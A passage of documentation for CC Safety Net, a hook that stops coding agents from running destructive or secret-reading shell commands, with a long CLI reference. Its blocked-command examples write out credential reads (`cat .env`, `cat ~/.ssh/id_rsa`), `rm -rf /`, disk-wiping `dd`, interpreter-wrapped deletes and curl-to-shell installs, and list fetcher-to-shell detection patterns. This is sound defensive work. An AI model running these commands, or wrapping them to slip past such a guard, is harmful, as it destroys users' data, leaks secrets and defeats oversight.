a shell command. Reads are blocked for the built-in sensitive set, not just writes: `cat .env`, `env cat .env`, `sudo command cat .env`, `strings id_rsa`, `xxd .env`, `base64 .env`, `dd if=.env`, `cat ~/.ssh/id_rsa`, `bash -c "cat .env"`, and `node -e 'require("child_process").execSync("cat .env")'` are all blocked. Command-shape extraction is bounded and structural: it fails closed on a structural shell-syntax limit and throws on an invalid parse. Configured deny paths are matched before the built-in rules and are never relaxed by any standard-mode allowance. The [Secret protection reference](/docs/reference/secret-protection) lists every rule id and family, protected paths, both Coding CLI tiers, match order, and exemptions. Set `secret_protection.enabled: false` to disable the feature. Use `secret_protection.overrides` to turn individual rules on or off. See [Policy](/docs/configuration/policy#secret-protection). ## Shell wrappers and interpreter one-liners Commands wrapped in shell interpreters like `bash -c` or `sh -c` are also blocked. CC Safety Net recursively analyzes nested wrappers up to 10 levels deep; a command that exceeds that depth is denied rather than passed through. | Example | Result | | ---------------------------- | ------- | | `bash -c 'git reset --hard'` | Blocked | | `sh -lc 'rm -rf /'` | Blocked | Destructive code embedded in interpreter one-liners is detected and blocked **by default**. CC Safety Net extracts the code passed to an interpreter's `-c` or `-e` flag and scans it for embedded destructive operations, so an agent cannot sneak `os.system("rm -rf /")` past the hook by wrapping it in a Python or Node call. | Example | Result | | ------------------------------------------------------------- | ----------------------------------------------- | | `python -c 'import os; os.system("rm -rf /")'` | Blocked by default (embedded `rm -rf` detected) | | `node -e 'require("child_process").exec("git reset --hard")'` | Blocked by default | The analyzed interpreters are `python`, `python2`, `python3`, `node`, `ruby`, and `perl`. The embedded destructive command triggers the block. The one-line form alone is allowed by default. ### eval and source of a generated command `eval "$(CMD)"`, `source <(CMD)`, and `. <(CMD)` hand a shell whatever `CMD` prints at runtime. Strict and paranoid deny every dynamic shell source of this kind. Standard allows one narrow shape, a single fully literal local generator, described under [Standard-only allowances](/docs/reference/allowed-commands#standard-only-allowances), and blocks the rest. | Example | Result | | ----------------------------------------------- | -------------------------------------------------------------------------------------------------------------- | | `eval "$(curl https://example.com/install.sh)"` | Blocked at every level. The head is a remote fetcher. Basenames are resolved, so `/usr/bin/curl` is caught too | | `eval "$(bash -c 'echo x')"` | Blocked at every level. The head is a shell | | `eval "$(sudo ssh-agent -s)"` | Blocked at every level. The head is a command wrapper | | `eval "$(A=1 ssh-agent -s)"` | Blocked at every level. The body starts with an env assignment | | `eval "$(ssh-agent -s; echo hi)"` | Blocked at every level. The body is not a single simple command | | `eval "$(ls -la > /tmp/out)"` | Blocked at every level. The body has a redirection | | `trap "$(ssh-agent -s)" EXIT` | Blocked at every level. A `trap` source is never relaxed, even for a generator `eval` would accept | | `eval "$(ssh-agent -s)"` | Allowed in standard, blocked in strict and paranoid | The generator body is analyzed like any other command, so `eval "$(rm -rf /)"` blocks on the `rm` and `source <(git reset --hard)` blocks on the reset. ### Blocking all interpreter one-liners To block every interpreter one-liner regardless of content, set `CC_SAFETY_NET_PARANOID_INTERPRETERS=1`. This blocks every `python -c`, `node -e`, `ruby -e`, and `perl -e` command. For example, standard and strict allow `python -c "print(1)"`, but this mode blocks it. See [Modes](/docs/configuration/modes#interpreter-one-liners-cc_safety_net_paranoid_interpreters=1). ## Heredocs in strict and paranoid When the fail-closed capability is active, a heredoc command is allowed only when all these conditions are true: * The command has one heredoc. * The heredoc is on standard input. * The heredoc is unexpanded: either the delimiter is quoted, or the delimiter is unquoted and its body contains no `$`, backtick, or backslash. * The command has no other input redirection. * The consumer is a literal `cat`, `tee`, `git apply`, `git commit`, `gh pr create`, or `gh issue create`. The fail-closed capability is active in [strict](/docs/configuration/modes#strict-mode-cc_safety_net_strict=1) and [paranoid](/docs/configuration/modes#paranoid-mode-cc_safety_net_paranoid=1). An unquoted delimiter whose body contains `$`, a backtick, or a backslash denies with: ```text theme={"dark"} Unquoted heredoc input is not supported safely. Quote the delimiter or ask the user to verify. ``` Every other unsupported form or consumer denies with: ```text theme={"dark"} This heredoc form or stdin consumer is not supported safely. Use a quoted heredoc with a supported consumer (cat, tee, git apply, git commit, gh pr create, gh issue create), or ask the user to verify. ``` The full heredoc contract, including how heredoc content is handled in standard mode, is on the [Analysis engine](/docs/guides/analysis-engine) page. ## Unparseable command text Behavior depends on the safety level when the shell parser cannot tokenize a command, such as a command with an unterminated quote. | Input | Standard | Strict and paranoid | | ----------------------------------- | --------------------------------------------- | --------------------------------------- | | `echo 'unterminated` | Allowed, safe-looking unparseable text passes | Blocked, "could not be safely analyzed" | | `git reset --hard 'unterminated` | **Blocked** by the heuristic scan | Blocked | | `dd if=/dev/zero of=/dev/sda 'oops` | **Blocked** by the heuristic scan | Blocked | The heuristic scan looks for `rm -rf`, `git reset --hard`, `git reset --merge`, `git clean -f`, `git checkout --force`, `git checkout --`, `git push --force`, `git push --delete`, `git branch -D`, `git tag -d`, `git stash drop`, `git stash clear`, `git restore` without `--staged`, `find -delete`, `dd of=/dev/`, `mkfs /dev/`, and `shred `. A match denies with the rule `raw-text.dangerous-command`. The `find`, `dd`, `mkfs`, and `shred` patterns are skipped when the text begins with `echo ` or `rg `, so quoting one of those strings into an echo or ripgrep invocation does not trip the scan. The scan also looks for a download piped into a shell, the remote-install one-liner. A remote fetcher (`curl`, `wget`, `fetch`, `aria2c`, `http`, `https`, `xh`, `xhs`, `nc`, `ncat`, `netcat`) piped into `sh`, `bash`, `zsh`, `dash`, or `ksh` denies as `raw-text.dangerous-command`, whether or not the shell carries a path prefix (`| /bin/sh`), and through a `sudo`, `env`, `command`, or `builtin` wrapper (`| sudo sh`, `| env VAR=1 sh`). A backslash-newline continuation inside the command or around the pipe does not hide it. The scan skips this pattern for text that begins with `echo ` or `rg `, so an echoed install line stays data. When the same pipeline parses as a real command, it denies structurally instead, with the reason "shell execution source cannot be verified safely". The text scan catches it in heredoc bodies and other text the parser does not descend into. Resource-exhaustion limits are separate from the level system and deny in **every** mode, including standard: exceeding the declared-command recursion limit or the structural command-validation limit is always a deny, never a pass-through. The `explain` command lets you trace exactly why CC Safety Net blocks or allows any specific command. See [CLI commands](/docs/reference/cli-commands#explain) for its flags, and [Explain trace](/docs/reference/explain-trace) for the JSON schema. # CLI commands reference Source: https://ccsafetynet.com/docs/reference/cli-commands Reference for every CC Safety Net CLI command: status, doctor, logs, explain, rule, policy, install, update, uninstall, hook, gui, and statusline, with their options and exit behavior. CC Safety Net ships a single CLI, `cc-safety-net`. Run it with `npx cc-safety-net` or `bunx cc-safety-net`. Enforcement happens inside your agent through a plugin, extension, or hook that `cc-safety-net install` wires up. The CLI does not need a global installation because `npx` or `bunx` fetches it on demand. This page documents commands, subcommands, options, and exit behavior. See the [Quickstart](/docs/quickstart) for a guided first run and [Installation](/docs/installation) for per-agent setup. ## Command overview The CLI registers twelve commands. This is the order they appear in `cc-safety-net --help`. | Command | Usage | What it does | | --------------------------- | ----------------------------- | -------------------------------------------------------------- | | [`status`](#status) | `status` | Show what the runtime is enforcing right now | | [`doctor`](#doctor) | `doctor [options]` | Run diagnostic checks across installation and configuration | | [`logs`](#logs) | `logs [options]` | Browse audit log entries recorded by the hooks | | [`explain`](#explain) | `explain [options] ` | Trace how a command is analyzed | | [`rule`](#rule) | `rule ` | Manage rule config, rulebook sources, and transparent wrappers | | [`policy`](#policy) | `policy ` | Check and apply project or user policy proposals | | [`install`](#install) | `install [TARGET_FLAG]` | Install CC Safety Net into a coding agent CLI | | [`update`](#update) | `update` | Update every installed integration in place | | [`uninstall`](#uninstall) | `uninstall [TARGET_FLAG]` | Remove CC Safety Net from a coding agent CLI | | [`hook`](#hook) | `hook INTEGRATION_FLAG` | Run as an agent's runtime hook, reading JSON from stdin | | [`gui`](#gui) | `gui [options]` | Open the local policy editor GUI | | [`statusline`](#statusline) | `statusline --claude-code` | Print a one-line status indicator for shell integration | `doctor` also answers to the alias `--doctor`. Command lookup is case-insensitive. `status` and `statusline` are two different commands. `status` prints a multi-line report for a human; `statusline` prints exactly one line of emoji indicators for a status bar. ## status `status` answers a single question: what is the runtime enforcing right now? It is the fastest way to confirm protection is live before you trust it. ```bash theme={"dark"} npx cc-safety-net status ``` ### Verdicts The headline verdict is one of two values: | Verdict | Meaning | | ---------- | ------------------------------------------------------------------------------------------------------------------------ | | `ready` | The policy snapshot loaded cleanly with no loader errors, no warnings, and no policy fallback | | `degraded` | The snapshot loaded, but with a loader error, a warning, or a fallback policy. The reasons are listed under `Not active` | A disabled Claude Code plugin is no longer a verdict of its own. It is reported as the **first** bullet in the `Not active` list, scoped to that one integration: ```text theme={"dark"} plugin cc-safety-net@cc-marketplace is disabled in Claude Code; nothing is enforced in Claude Code until it is re-enabled. Other integrations are not affected. ``` The plugin counts as disabled whenever `~/.claude/settings.json` is missing, fails to parse, has no `enabledPlugins`, or does not set `cc-safety-net@cc-marketplace` to `true`. The check defaults to disabled, so an unreadable settings file does not report the plugin as enabled. The verdict is taken from the policy snapshot and is never re-derived from your configuration; the plugin check only adds that bullet, never changes the verdict. ### Output `status` prints a verdict line, an aligned facts block, and then either a confirmation or a list of issues. | Row | Value | | ------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `Protection` | `destructive` and `secrets`, each shown as `ok` or `OFF` | | `Level` | The effective level: `standard`, `strict`, `paranoid`, or `custom`. A ` (customised)` suffix appears when an effective destructive-command rule differs from what the level would inherit | | `Rules` | `none active`, or ` active` for the number of active custom rules | | `Policy` | The path to your user policy file, shortened with `~` | | `Worktree` | `relaxations active`. This row is printed **only** when worktree mode is on | Fact rows are single-line: a long value is truncated with `…` rather than wrapped. After the facts block, `status` prints either `Everything configured is active.` or a `Not active` section with one wrapped bullet per issue. The plugin-disabled bullet appears first when applicable, followed by the snapshot diagnostics and `Full report: cc-safety-net doctor`. When `NO_COLOR` is set or stdout is not a TTY, the output degrades to ASCII: `ok`/`OFF` instead of check and cross glyphs, `-` instead of `·`, and no shield prefix. ### Exit code `status` **always exits `0`**, including when the verdict is `degraded`. It is purely informational, so it never fails a script. Use `doctor` when you want a non-zero exit code on problems. ## doctor `doctor` runs a full health check of your installation and configuration and prints a sectioned report. ```bash theme={"dark"} npx cc-safety-net doctor bunx cc-safety-net doctor ``` | Section | Description | | ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | Hook Integration | Verifies configuration for each supported agent: Claude Code, Amp Code, Antigravity CLI, Codex, Cursor, Gemini CLI, GitHub Copilot CLI, Grok Build, Hermes Agent, Kimi Code, OpenClaw, OpenCode, and Pi | | Guard Engine Verification | Runs a synthetic self-test to confirm blocking works (`git reset --hard` and `rm -rf /` blocked; `rm -rf ./node_modules` allowed) | | Configuration | Validates user and project rule config and lists effective and shadowed rules | | Environment | Shows the state of the CC Safety Net environment variables | | Effective Safety | Shows the selected preset, effective level, capabilities, and rule overrides, including any override that weakens an inherited rule | | Findings | Diagnosed problems, each with a severity and a fix hint | | Recent Activity | Summarizes blocked commands from the last 7 days | | System Info | Displays versions of all relevant tools | | Update Check | Checks whether a newer version is available | **Options:** | Flag | Description | | --------------------- | -------------------------------------------------------------- | | `--json` | Output diagnostics as JSON (useful for sharing in bug reports) | | `--skip-update-check` | Skip the npm registry version check | | `-h`, `--help` | Show help | `doctor` reads Codex state from `codex plugin list`. A matching CC Safety Net row with `installed, enabled` is `Detected` and `Configured`; any other matching `installed,` row is `Detected` and `Not configured`. A registered marketplace row that says `not installed` is `Not detected`, not disabled. For GitHub Copilot CLI, `doctor` checks the plugin checkout and hook definitions. For inline settings, the precedence is `/.github/copilot/settings.local.json`, `/.github/copilot/settings.json`, `/.claude/settings.local.json`, `/.claude/settings.json`, `$COPILOT_HOME/settings.json`, then `$COPILOT_HOME/config.json` (`COPILOT_HOME` defaults to `~/.copilot`). It also scans `/.github/hooks/*.json` and `$COPILOT_HOME/hooks/*.json`. An entry in a `.claude` file counts only when its command includes `hook --copilot-cli` or `hook -cp`; a Claude Code hook alone does not count. Inline settings require GitHub Copilot CLI `1.0.8+`, and user hook files require `0.0.422+`. `doctor` exits `1` when the engine self-test reports a failure, or when any finding in the Findings section has `error` severity. Otherwise it exits `0`. Warnings never change the exit code. These findings carry `error` severity: * No agent integration is configured. * A hook inspection failed. * The user or project rule configuration is invalid. * The policy, config, or audit directory is unsafe: it is not owned by you, is group- or world-writable, is a symbolic link, or is not a directory. A `rule.lock` file or a `cache` directory left by an earlier version raises the `info` finding `config.v2-leftovers`, titled `Rulebook lock and cache leftovers detected`. The runtime no longer reads either one. Its fix hint is ``Run `cc-safety-net rule sync` (add `--global` for user scope) to migrate them, then rerun doctor.`` An `info` finding never changes the exit code. When some audit log files cannot be read, the Recent Activity section ends with `Warning: audit log sources could not be read; this summary is incomplete` (`source` when it is one), so a quiet week is not mistaken for a complete one. ### Managed hook drift Cursor and Grok Build keep their hook entry in a config file you can also edit by hand, so `doctor` compares the entry on disk against the one install writes. A drifted entry is still a managed entry. The agent stays `Configured`, each mismatch prints as `Warning (): `, and the exit code does not change. Rerunning the install rewrites the entry. | Agent | Warning | What drifted | | ---------- | ------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | | Cursor | `Multiple managed cc-safety-net hooks found; reinstall to collapse duplicates` | `hooks.preToolUse` holds more than one managed entry | | Cursor | `Managed hook is missing "failClosed": true; reinstall to repair` | The first managed entry's `failClosed` is not `true`, so Cursor would allow a call the hook could not decide | | Cursor | `Managed hook "timeout" is not 30; reinstall to repair` | The first managed entry's `timeout` is not `30` | | Grok Build | `Managed hook has a "matcher" that narrows coverage; reinstall to repair` | The managed entry carries a `matcher` other than `""` or `"*"`, the two spellings Grok Build compiles to match-all, so some tool calls would skip the hook | | Grok Build | `Managed hook "type" is not "command"; reinstall to repair` | The managed handler's `type` is not `command` | | Grok Build | `Managed hook "timeout" is not 30; reinstall to repair` | The managed handler's `timeout` is not `30` | Antigravity CLI has no drift checks. `doctor` matches its hook by command pattern instead of against a canonical entry, so it reports `Detected` and `Configured`, or `Detected` and `Not configured` when the hook definition carries `enabled: false`. A hook config that will not parse is a different outcome for all three. Detection finds no managed entry, so the agent counts as not configured, its Discovery, Configuration, and Inspection columns read `Unknown`, `Unknown`, and `Failed`, and the message prints in red as an error rather than a warning: * `Error (Antigravity CLI): Failed to parse Antigravity hooks config : ` * `Error (Cursor): Failed to parse Cursor hooks config : ` * `Error (Grok Build): Failed to parse Grok Build hooks config : ` Each one also raises an ` inspection failed` finding with `error` severity, so `doctor` exits `1`. ## logs `logs` reads back the [audit log](/docs/reference/audit-log): one record per allowed-or-blocked command decision. ```bash theme={"dark"} npx cc-safety-net logs npx cc-safety-net logs --suspect --since 7 npx cc-safety-net logs --id 3fa9c2d1a70e8b42 ``` By default `logs` prints the 20 most recent **denials** from the last 30 days for every project. Pass `--all` to include allowed decisions. ### Filters and options | Flag | Argument | Description | | ---------------- | ---------- | ------------------------------------------------------------------------------------------------------------------------ | | `--id` | `` | Look up one entry in retained history by its 16-character lowercase hex id | | `--limit` | `` | Maximum entries to print. Default `20` | | `--since` | `` | Only entries newer than this many days. Default `30`; the ceiling is your configured audit retention, not a fixed number | | `--agent` | `` | Exact match on the recorded agent id, for example `claude-code` | | `--rule` | `` | Exact match on the recorded rule id | | `--session` | `` | Match the recorded session id | | `--project` | `` | Match a project directory exactly, or any directory beneath it | | `--suspect` | | Only denials that look like false positives | | `--all` | | Include `allow` entries as well as denials | | `--prune-legacy` | | Permanently delete legacy root-level log files | | `--dry-run` | | With `--prune-legacy`, report what would be deleted and delete nothing | | `--json` | | Output entries as JSON | | `-h`, `--help` | | Show help | **`--suspect`** narrows the result to denials worth a second look: a denial that carries a `failureStage` (the analysis failed and the guard failed closed, so the command was never proven dangerous), or the same command signature denied two or more times in the same session. Repeats are counted across the whole `--since` window before `--limit` truncates the output. **Mutually exclusive combinations.** Both are rejected with an explicit message and exit code `1`: * `--id` cannot be combined with `--agent`, `--rule`, `--session`, `--project`, `--suspect`, `--since`, or `--limit`. * `--prune-legacy` cannot be combined with `--id`, `--agent`, `--rule`, `--session`, `--project`, `--suspect`, `--all`, `--since`, or `--limit`. `--json` and `--dry-run` are the only flags allowed alongside it. `--dry-run` on its own is also rejected: it prints `--dry-run requires --prune-legacy` and exits `1`. An unrecognized option prints `Unknown option for logs: ` and exits `1`. When an audit log file cannot be read or a record is malformed, `logs` prints one warning to stderr: `warning: audit log sources could not be read; these results are incomplete` (`source` when it is one). Stdout and the exit code stay unchanged. ### Machine-readable output | Invocation | JSON shape | | ----------------------------------------- | ----------------------------------------------------------------------------------------------------- | | `logs --json` | An array of raw audit entries, 2-space indented, after filtering, newest-first sorting, and `--limit` | | `logs --id --json` | An array with zero or one entry | | `logs --json` with no audit log directory | `[]` | | `logs --prune-legacy --json` | A single compact object: `{"removedFiles":n,"removedBytes":n,"failedFiles":n}` | | `logs --prune-legacy --dry-run --json` | A single compact object: `{"dryRun":true,"files":n,"bytes":n}` | Human output prints one row per entry with its id, timestamp, decision, agent, rule id, and command truncated to 50 characters. The `↳` marker identifies a segment that differs from the full command. `--id` instead prints a labelled detail block with every record field. ### logs --prune-legacy `logs --prune-legacy` deletes every legacy root-level `*.jsonl` file in the audit root **immediately and irreversibly**. There is no confirmation prompt and no `--yes`. Use `--dry-run` first to see what would be deleted. File position alone decides membership; age and content do not matter. Nested per-project audit logs are never touched, and the command says so afterwards. It exits `0` when every deletion succeeded and `1` if any file could not be removed. Running it again when there is nothing left to delete is a no-op. With `--dry-run`, nothing is deleted. The command prints either `Would remove legacy audit log files ().` or `No legacy audit log files found.`, then `Nested v2 audit logs are not included.` When files would be deleted, it also prints `Run the same command without --dry-run to delete them.` It always exits `0`. With `--json`, it prints the single compact object `{"dryRun":true,"files":n,"bytes":n}` instead. See [Audit log](/docs/reference/audit-log#log-layout) for the difference between the legacy layout and the current one. ## explain `explain` traces how CC Safety Net analyzes a command, step by step. Use it to understand why a command is blocked or allowed, or how a custom rule applies. ```bash theme={"dark"} npx cc-safety-net explain "git reset --hard" bunx cc-safety-net explain "git reset --hard" ``` **Options:** | Flag | Description | | -------------- | --------------------------------------------- | | `--json` | Output the full analysis result as JSON | | `--cwd ` | Analyze as if run from this working directory | | `-h`, `--help` | Show help | `--` ends flag parsing; everything after it is the command. A single remaining argument is used verbatim so shell operators survive; multiple arguments are re-quoted. **Examples:** ```bash theme={"dark"} npx cc-safety-net explain "rm -rf /" npx cc-safety-net explain --json "git checkout -- file.txt" npx cc-safety-net explain --cwd /tmp "git status" ``` After successful option parsing, `explain` exits `0` for blocked and allowed results. Read the `result` field instead of the exit code. Two things make it exit `1`. The first is option validation: * An unknown option prints `Unknown option for explain: `; `--cwd` without a value prints `--cwd requires a value`. Either parse error is followed by `Usage: cc-safety-net explain [--json] [--cwd ] ` and `Pass -- before a command that starts with dashes.`, and exits `1`. * A `--cwd` path that does not exist prints `Error: --cwd path does not exist: ` and exits `1`. * An empty command prints `Error: No command provided` plus the usage line and exits `1`. The second is an analysis limit. A command that exhausts the structural command-analysis limit, the path-canonicalization limit, or the tool-input traversal limit exits `1` with a one-line error message instead of a stack trace. Under `--json` the whole of stdout is one error object; otherwise the message goes to stderr: ```bash theme={"dark"} npx cc-safety-net explain --json 'loop() { loop; }; loop' ``` ```json theme={"dark"} {"error":"Structural command analysis limit exceeded."} ``` The top-level parser honors `--` the same way: it stops looking for `--help` and `--version` at the first `--`, so `explain -- --help` explains the literal command `--help` instead of printing help. Explain output is not automatically safe to share. It echoes the command you supplied, its parsed tokens, and absolute paths including your home directory. See [Explain trace](/docs/reference/explain-trace#before-you-share-a-trace) before pasting a trace into an issue or a chat. See the [Explain trace reference](/docs/reference/explain-trace) for the `--json` schema, `ExplainResult` fields, and every `TraceStep` variant. ## rule `rule` manages your rule config, rulebook sources, and transparent command wrappers. This section is the command surface; the rulebook schema, lifecycle, and override semantics live in [Custom rules](/docs/configuration/custom-rules). Running `rule` with no subcommand prints help and exits `1`. `rule --help` prints the same help and exits `0`. **Options:** | Flag | Description | Valid with | | ---------------------- | ----------------------------------------------------------- | -------------------------------------------- | | `-g`, `--global` | Use the user-scope rule config instead of the project scope | Every subcommand except `list` and `migrate` | | `--cleanup` | Delete legacy files after `rule migrate` verifies them | `migrate` only | | `--delete-source` | Delete a clean local source directory when removing it | `remove` only | | `--example` | Create an inactive example rulebook | `init` only | | `--ref ` | Use a branch, tag, or commit | `add` only | | `--only ` | Add only these repository rulebooks | `add` only | | `-h`, `--help` | Show help | Any | `--check` is no longer accepted. Every subcommand rejects it with `Unknown option for rule : --check`. Rulebooks are read from disk on every command, so an `add` or `update` dry run would have to fetch and validate the candidate to mean anything. [`rule verify`](#rule-verify) is the offline validation command. ### rule init Create a rule configuration for the current scope. If the file exists, the command rewrites it in the canonical format and preserves `rules`, `overrides`, and `transparent_wrappers`. It creates no cache directory. ```bash theme={"dark"} npx -y cc-safety-net rule init npx -y cc-safety-net rule init --global ``` `rule init` on its own writes an **inert** configuration that contains no rules. Pass `--example` to also write a starter rulebook named `example-rules`: ```bash theme={"dark"} npx -y cc-safety-net rule init --example ``` The example rulebook is written only when `example-rules/rulebook.json` does not exist. It is **inactive** because the configuration does not reference it. Add it with `rule add example-rules` to make it active. After writing, `rule init` loads the scope the way the guard loads it. Any error prints and the command exits `1`. A clean scope prints `Rule config initialized.` and exits `0`. ### rule add Usage is `rule add [source] [--ref ] [--only ]`. The source takes three forms: a bare local name such as `project-rules`, a whole repository such as `acme/safety-rules`, or one rulebook in the canonical form `owner/repo#ref/`. **Options:** | Flag | Description | | ---------------------- | ----------------------------------- | | `--ref ` | Use a branch, tag, or commit | | `--only ` | Add only these repository rulebooks | | `-g`, `--global` | Use user-scope rule config | | `-h`, `--help` | Show this help | **Examples:** ```bash theme={"dark"} cc-safety-net rule add project-rules cc-safety-net rule add acme/safety-rules cc-safety-net rule add acme/safety-rules --only aws gcloud cc-safety-net rule add acme/safety-rules --ref v2 --only aws cc-safety-net rule add --only terraform aws ``` Passing `--ref` or `--only` without a source resolves the source to `cc-safety-net/rulebooks`, the official catalog. A bare `rule add` with neither flag exits `1` with `rule add requires a source (pass --only to select from cc-safety-net/rulebooks)`. Taking every official rulebook therefore stays an explicit `rule add cc-safety-net/rulebooks`. `-g`/`--global` selects the user scope, as it does for every other subcommand. For a repository source, `rule add` resolves the ref to a commit and lists every `.cc-safety-net/rules//rulebook.json` the repository holds at that commit before it writes anything. Without `--only` it adds all of them in name order. With `--only` it adds the named ones in the order you listed them and ignores repeats. A name the repository does not carry fails the add. `--ref` and `--only` accept an `owner/repo` source only. Anything else prints `--ref can only select a ref for an owner/repo source: ` or `--only can only select rulebooks from an owner/repo source`. Without `--ref`, `rule add` uses the repository's default branch. A ref may contain `/` segments, so `--ref feature/rulebook-v2` is valid. The whole ref must match `^[A-Za-z0-9._-]+(?:/[A-Za-z0-9._-]+)*$`, and one that does not prints `--ref must use valid path segments: `. `rule.json` stores the canonical `owner/repo#ref/` carrying the ref you gave. `rule add` reports the resolved commit but does not store it. A successful add opens with `Scope: project ()`, or `Scope: user ()` under `--global`, naming the directory holding the `rule.json` it wrote. Without that line, an add run from the wrong directory reads as success. A failed add wrote nothing and prints no scope line. A repository add then prints, in order: * `Added rulebooks from at :` (`rulebook` when it is one), then one ` - ` line per rulebook * `Rulebooks already configured from at : ` for the selected rulebooks `rule.json` already listed * `Vendored at .`, the resolved commit abbreviated to 7 characters, printed only when the add wrote at least one new source * one block per file written: `Vendored ()` for a new file, or `Updated ( -> )` followed by ` + `, ` - `, and ` ~ ` lines for rules added, removed, and changed under an unchanged name * `Rule config updated.`, a blank line, then `Active rulebooks ():` with ` - ( rules)` and ` Source: ` for each A bare local name or a canonical `owner/repo#ref/` source keeps the scope line, drops the first three entries above, and closes with `Added rulebook source: ` where a repository add says `Rule config updated.` ### rule remove Remove a rulebook source and sync. Add `--delete-source` to also delete the local source directory when it is clean: ```bash theme={"dark"} npx -y cc-safety-net rule remove project-rules npx -y cc-safety-net rule remove project-rules --delete-source ``` Clean means the directory holds `rulebook.json` and nothing else. `--delete-source` checks that twice: once before the sync, and again at delete time, because the sync in between can await GitHub fetches. * If a concurrent process adds a file during that gap, the second check refuses the delete with `Local rulebook source directory contains extra files: . delete manually if you really want to remove the directory.` The config change is then rolled back and re-synced, so the source you asked to remove comes back. * The delete is not recursive. It removes the validated `rulebook.json`, then the directory itself with a non-recursive `rmdir`. A file that lands after the unlink makes the `rmdir` fail, and that file is preserved. Only the rulebook file is ever deleted. * A directory that has already vanished by delete time is skipped and reported as success, because the requested end state is reached. ### rule update Re-fetch and vendor the remote rulebooks for every configured source, or for a single source when one is given: ```bash theme={"dark"} npx -y cc-safety-net rule update npx -y cc-safety-net rule update project-rules ``` The run re-resolves branch and tag refs, so a source pinned to `main` or to a moving tag picks up the current commit. A local source has nothing to fetch. Every configured source appears in the report, but only the selected ones re-fetch; the rest come from the file already on disk. The command prints the same change block as [`rule add`](#rule-add), then `Rule config updated.` and the active rulebook summary. Each source updates independently. One that fails to fetch or validate keeps the copy it already vendored and is reported as `Failed to update : `, while the sources that did update are written. The run exits `1` if any source failed and `0` otherwise. Resource-limit failures are the exception. A run that exhausts its GitHub fetch budget stops with `Rule synchronization exceeds CC Safety Net's safe resource limits.` and fails every source in it, not only the one that hit the ceiling. ### rule sync `rule sync` is deprecated. Rulebooks are live files, so there is nothing to synchronize. The run migrates the `rule.lock` file and `cache` directory an earlier version wrote, offline, then removes both. ```bash theme={"dark"} npx -y cc-safety-net rule sync ``` Every run starts with the deprecation notice: ```text theme={"dark"} `cc-safety-net rule sync` is deprecated: rulebooks are live files that need no synchronization. This run only migrates the lock and cache an earlier version left behind. ``` Nothing is fetched. A cached copy that still matches its recorded digest is written to `//rulebook.json` and reported as `Vendored from the v2 cache.`, or as `Restored from the v2 cache over an invalid file.` when the destination file was there but unusable. A source the cache cannot supply prints ``Could not migrate from the v2 cache. Run `cc-safety-net rule update ` to vendor it.``, with ` --global` appended to that command in the user scope. The last line is `Removed the v2 lock and cache under .` With no leftovers to migrate, the command prints `No v2 lock or cache leftovers found in ; nothing to migrate.` and exits `0`. When leftovers remain but the scope's `rule.json` is missing or unreadable, it refuses rather than destroying the only record of the configured sources: `Cannot migrate: the rules config in is missing or unreadable while v2 leftovers remain. Restore rule.json, then re-run rule sync.` and exits `1`. `doctor` reports the leftovers as the info finding `config.v2-leftovers`. ### rule list List the active rulebooks and their resolved sources across both user and project scope: ```bash theme={"dark"} npx -y cc-safety-net rule list ``` `rule list` reads both scopes at once, so `--global` is rejected. It exits `1` only on policy **errors**; warnings are printed but exit `0`. Under `Active rules`, every rule prints a ` Command:` row and a ` Reason:` row. The rows between them follow the rule's own rulebook version. A version 1 rule puts ` ` on `Command:` when it sets a subcommand, and its blocked arguments on ` Block args:`. A `rulebook_version: 2` rule puts `` followed by its `match.command_path` words on `Command:`, then prints ` Any args:` and ` Exclude args:` for whichever of those it sets, and no `Block args:` row at all: ```text theme={"dark"} Active rules (1): - [project] infra/block-terraform-destroy Command: terraform apply Any args: -destroy, --destroy Exclude args: --dry-run Reason: Review a destroy plan first. ``` ### rule wrapper Manage transparent command wrappers. These commands pass their arguments to another command, so CC Safety Net analyzes the child command instead of the wrapper. ```bash theme={"dark"} npx -y cc-safety-net rule wrapper list npx -y cc-safety-net rule wrapper add rtk npx -y cc-safety-net rule wrapper remove rtk ``` * The action is required and must be exactly `add`, `remove`, or `list`. * `wrapper list` takes no further argument. It prints `Transparent wrappers: (none)` or a numbered list. * `wrapper add` and `wrapper remove` each require exactly one command name. * A wrapper name must match `^[a-zA-Z][a-zA-Z0-9_-]*$`, and reserved commands cannot be registered as wrappers. * `add` de-duplicates; `remove` filters. Scope follows `-g`/`--global`. Registered wrappers show up in [explain traces](/docs/reference/explain-trace) as `transparent-wrapper` steps. ### rule verify Validate the rule config files in both scopes, including legacy paths and schema-kind detection. Use it after editing a config by hand: ```bash theme={"dark"} npx -y cc-safety-net rule verify ``` Exits `0` when everything is valid, non-zero when it is not. `rule verify` is not a pure check because it can modify the files it validates. When a scope's `rule.json` validates cleanly but has no `$schema` key, the command rewrites that file and inserts ```json theme={"dark"} "$schema": "https://raw.githubusercontent.com/kenryu42/cc-safety-net/main/assets/cc-safety-net.schema.json" ``` as the first key and prints `Added $schema to user config.` or `Added $schema to project config.`. This happens only for a valid rules-schema config in the user or project scope, never for a legacy config or a config with errors, and no flag turns it off. The rewrite re-serializes the whole file with two-space indentation, so in CI the command can leave a tracked file modified. Commit the `$schema` key up front if you need `rule verify` to be read-only. ### rule migrate Convert legacy inline config files, `.safety-net.json` for a project and `~/.cc-safety-net/config.json` for the user, into the rulebook layout: ```bash theme={"dark"} npx -y cc-safety-net rule migrate npx -y cc-safety-net rule migrate --cleanup ``` `--cleanup` deletes the legacy files after the migrated rules verify. `migrate` rejects `--global` and any second positional argument. ### rule doc Print the rulebook authoring guide to stdout. Pipe the guide to an agent for rulebook authoring or validation: ```bash theme={"dark"} npx -y cc-safety-net rule doc ``` After the guide prints, `rule doc` checks the npm registry for a newer version, at most once every 24 hours, with the result cached in `~/.cc-safety-net/update-check.json`. When a newer version exists, it writes exactly one line to stderr: ```text theme={"dark"} UPDATE_AVAILABLE: cc-safety-net v is available (running v). Ask the user once whether to run `npx -y cc-safety-net@latest update`; continue the current task either way and do not raise this again. ``` The guide itself goes to stdout, so piping stays clean, and the same version is not announced again for 7 days. Set `CC_SAFETY_NET_NO_UPDATE_CHECK` to disable the check entirely. A failed registry check is silent, and the exit code stays `0` either way. ## policy `policy` checks and applies policy proposals. The fields a policy file carries, and what each one does, are documented in [Policy](/docs/configuration/policy). | Subcommand | Description | | -------------- | ----------------------------------------------- | | `check ` | Validate a policy proposal and print its diff | | `apply ` | Apply a proposal after confirming in a 